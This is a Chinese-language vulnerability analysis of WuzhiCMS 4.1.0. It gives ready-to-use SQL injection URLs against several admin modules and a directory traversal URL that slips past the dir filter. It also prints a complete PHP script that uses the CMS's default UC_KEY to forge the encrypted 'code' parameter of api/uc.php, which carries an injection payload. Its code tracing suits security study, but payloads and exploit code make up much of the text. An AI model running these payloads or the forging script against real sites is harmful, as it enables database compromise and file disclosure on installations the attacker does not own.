五指cms版本: 4.1.0
http://127.0.0.1/wuzhicms-wuzhicms-master/wuzhicms/www/api/uc.php?code=afdctEb5mOtGMEGZvuzqZi%2BCd7nG9XEhbrVM4sCS%2F9bispDzvRH707HampqJC5SP01qYtzpTqnusKTAGo8TLNdMph5IJ0hWJz%2FCvJP1vKwXCGgx9CrIkLxcBhGqrjNN3w1ZRPS9clNMauFjswrNTNNZa
http://127.0.0.1/wuzhicms-wuzhicms-master/wuzhicms/www/index.php?m=promote&f=index&v=search&_su=wuzhicms&&fieldtype=place&keywords=1111' and (updatexml(1,concat(0x7e,(select user()),0x7e),1))--+
http://127.0.0.1/wuzhicms-wuzhicms-master/wuzhicms/www/index.php?m=coupon&f=card&v=detail_listing&groupname=a' and updatexml(rand(),CONCAT(0x7e,USER()),1)=' --+&_su=wuzhicms&XDEBUG_SESSION_START=15454
http://127.0.0.1/wuzhicms-wuzhicms-master/wuzhicms/www/index.php?m=pay&f=index&v=listing&keytype=0&_su=wuzhicms&_menuid=36&search=&fieldtype=0&keyValue='+and+updatexml(7,concat(0x7e,user(),0x7e),7)%23&status=&starttime=&endtime=&XDEBUG_SESSION_START=15454
http://127.0.0.1/wuzhicms-wuzhicms-master/wuzhicms/www/index.php?m=core&f=copyfrom&v=listing&_su=wuzhicms&_menuid=54&_submenuid=54&keywords=%27+and+updatexml(7,concat(0x7e,(user()),0x7e),7)%23&XDEBUG_SESSION_START=15454
http://127.0.0.1/wuzhicms-wuzhicms-master/wuzhicms/www//index.php?m=order&f=goods&v=listing&_su=wuzhicms&_menuid=220&search=&cardtype=-1&keytype=0&keywords='and+extractvalue(1,concat(0x7e,user()))%23&XDEBUG_SESSION_START=15454
http://127.0.0.1/wuzhicms-wuzhicms-master/wuzhicms/www//index.php?XDEBUG_SESSION_START=16031&dir=/.....///.....///.....///.....///&m=template&f=index&v=listing&_su=wuzhicms&_menuid=31
这里主要分析第1,2,7 这三个漏洞,因为2,3,4,5,6漏洞都属于同一原因造成的sql注入。
漏洞主要产生的原因是:获取到code后,先去_authcode解密,然后通过parse_str函数进行对解密后的字符串进行解析,保存到$get数组中,最后将get数组中的username带入数据库查询,中间没有任何过滤。
payload:
http://127.0.0.1/wuzhicms-wuzhicms-master/wuzhicms/www/api/uc.php?code=afdctEb5mOtGMEGZvuzqZi%2BCd7nG9XEhbrVM4sCS%2F9bispDzvRH707HampqJC5SP01qYtzpTqnusKTAGo8TLNdMph5IJ0hWJz%2FCvJP1vKwXCGgx9CrIkLxcBhGqrjNN3w1ZRPS9clNMauFjswrNTNNZa
首先查看www/api/uc.php文件30-37行
$code = isset($GLOBALS['code']) ? $GLOBALS['code'] : '';
$get = $GLOBALS;
parse_str(_authcode($code, 'DECODE', UC_KEY), $get);
if(MAGIC_QUOTES_GPC) $get = _stripslashes($get);
if(empty($get))exit('Invalid Request');
if(SYS_TIME - $get['time'] > 3600) exit('Authracation has expiried');
if($get['time']>SYS_TIME+3600) exit('Authracation time error');
先获取code值,然后进行parse_str(_authcode($code, 'DECODE', UC_KEY), $get) 解密和变量注册,然后判断get数组中的time和现在的time相差是否在3600范围。
来看看_authcode($code, 'DECODE', UC_KEY)执行情况
$code是我们传入的,UC_KEY的默认值e063rbkHX22RAvIg,插入的编码方式是decode解码DECODE
跟进_authcode函数,该函数在 api/uc.php 192行
在232行返回结果:return substr($result, 26);
直到代码运行到api/uc.php的43-51行
if(in_array($get['action'], array('test', 'deleteuser', 'renameuser', 'gettag', 'synlogin', 'synlogout', 'updatepw', 'updatebadwords', 'updatehosts', 'updateapps', 'updateclient', 'updatecredit', 'getcreditsettings', 'updatecreditsettings'))) {
$uc_note = new uc_note();
header('Content-type: text/html; charset='.CHARSET);
$action = $get['action'];
echo $uc_note->$action($get, $post);
exit();
} else {
exit(API_RETURN_FAILED);
}
$action = $get['action'];从数组中获取action的值为:synlogin
然后继续执行echo $uc_note->$action($get, $post);调用uc_note类的synlogin函数,这个函数在api/uc.php的90行
重点来了!!
在synlogin函数中,获取$get数组中的username的值拼接到sql语句后,进行sql查询
到此sql注入分析完成了。然后返回来看看如何获取到code的值。
在整个流程中,我们用到了get数组中的time action username,以及UC_KEY
UC_KEY的默认值在wuzhicms\caches\member\setting.WDnsW.php 值为:e063rbkHX22RAvIg
我们还需要在解密后得到 time action username .所以我们可以构造一个payload, 其中action值必须为synlogin,username为注入的payload:a" and extractvalue(1,concat(0x7e,user()))#
整体的payload
$payload = 'time='.time().'&action=synlogin&username=aa" and extractvalue(1,concat(0x7e,user()))#';
将payload在_authcode函数中加密,function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0),operation擦参数选择encode
生成code的php payload为:
<?php
function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
$ckey_length = 4;
$key = md5($key ? $key : UC_KEY);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
//echo $result;
if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc.str_replace('=', '', base64_encode($result));
}
}
$payload = 'time='.time().'&action=synlogin&username=aa" and extractvalue(1,concat(0x7e,user()))#';
$code= urlencode(_authcode($payload, 'encode', 'e063rbkHX22RAvIg'));
echo ($code);
?>
payload
http://127.0.0.1/wuzhicms-wuzhicms-master/wuzhicms/www/index.php?m=promote&f=index&v=search&_su=wuzhicms&&fieldtype=place&keywords=1111' and (updatexml(1,concat(0x7e,(select user()),0x7e),1))--+
直接将代码定位到 /wuzhicms/coreframe/app/promote/dmin/index.php文件42行search函数
执行sql语句
执行栈
如此看来获取到keywords参数后,只过滤了%20 %27其他字符没有过滤,因此造成了sql注入
sql注入 3 4 5 6 原理相似,不一一列举了
payload
http://127.0.0.1/wuzhicms-wuzhicms-master/wuzhicms/www//index.php?XDEBUG_SESSION_START=16031&dir=/.....///.....///.....///.....///&m=template&f=index&v=listing&_su=wuzhicms&_menuid=31
直接查看wuzhicms\coreframe\app\template\admin\index.php文件的listing函数22行
public function listing() {
$dir = $this->dir;
$lists = glob(TPL_ROOT.$dir.'/'.'*');
//if(!empty($lists)) rsort($lists);
$cur_dir = str_replace(array( COREFRAME_ROOT ,DIRECTORY_SEPARATOR.DIRECTORY_SEPARATOR), array('',DIRECTORY_SEPARATOR), TPL_ROOT.$dir.'/');
$show_dialog = 1;
include $this->template('listing');
}
$dir = $this->dir; dir值获取在构造函数中 16-20行
function __construct() {
$this->db = load_class('db');
$this->dir = isset($GLOBALS['dir']) && trim($GLOBALS['dir']) ? str_replace(array('..\\', '../', './', '.\\'), '', trim($GLOBALS['dir'])) : '';
$this->dir = str_ireplace( array('%2F','//'),'/',$this->dir);
}
获取用户输入的dir,将其中的 ...\ ../ ./ .\替换成空,我们只要绕过这个过滤便可以遍历文件了。
过滤的顺序是 ..\ ../ ./ .\
如果我们输入的是: /../ 执行完过滤后只剩下/
若输入的是: /..../ 先过滤 ../ 剩下 /../ 接着会过滤 ./ 最后只剩下 /.
为了得到2个'.' 输入: /...../ 先过滤 ../ 剩下 /...
多了一个点,如果过滤 ../剩下的是 /...// ,在过滤一个./ 最后会得到一个 /../
因此我们构造的payload为: /...../// 即可使dir为/../便可查看上一级目录